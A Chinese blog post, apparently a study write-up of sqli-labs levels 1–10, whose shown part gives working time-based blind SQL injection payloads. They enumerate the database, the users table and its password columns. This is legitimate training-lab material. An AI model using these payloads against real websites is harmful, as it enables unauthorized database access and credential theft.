这一关是一个双引号参数闭合的时间盲注,注入过程的话和上一关一样,只不过将后面的单引号换成双引号就行了,这里就不多说了。

?id=1"and if(length(database())=8,sleep(6),1)--+  //判断数据库名长度
?id=1"and if(left(database(),8)='security',sleep(6),1)--+   //判断数据库名
?id=1"and if((select count(table_name)from information_schema.tables where table_schema=database())=4,sleep(6),1)--+   //猜解security数据库下表的数目
?id=1"and if(length((select table_name from information_schema.tables where table_schema=database() limit 3,1 ))=5,sleep(6),1)--+  //判断users表的表名长度
?id=1"and if(left((select table_name from information_schema.tables where table_schema=database() limit 3,1),5)='users',sleep(6),1)--+  //猜解users表名
?id=1"and if((select count(column_name)from information_schema.columns where table_schema=database() and table_name='users')=3,sleep(6),1)--+ //判断users表下的列数
?id=1"and if(length((select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 1,1))=8,sleep(6),1)--+ //判断username字段名的长度
?id=1"and if(length((select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 2,1))=8,sleep(6),1)--+ //判断password字段名的长度
?id=1"and if(left((select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 1,1),8)='username',sleep(6),1)--+   //判断第二列的列名
?id=1"and if(left((select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 2,1),8)='password',sleep(6),1)--+   //判断第三列的列名

本篇文章通过sqli-labs平台的1-10关为例,主要学习记录了参数闭合情况的判断以及注入,报错注入之一的Xpath语法错误注入,outfile语句数据导出,布尔型盲注以及时间盲注等。希望对大家的sql注入学习有所帮助,也希望能和大家在网络安全的这条路上越走越远。

  • 3
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

妙蛙种子吃了都会妙妙妙的妙脆角

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值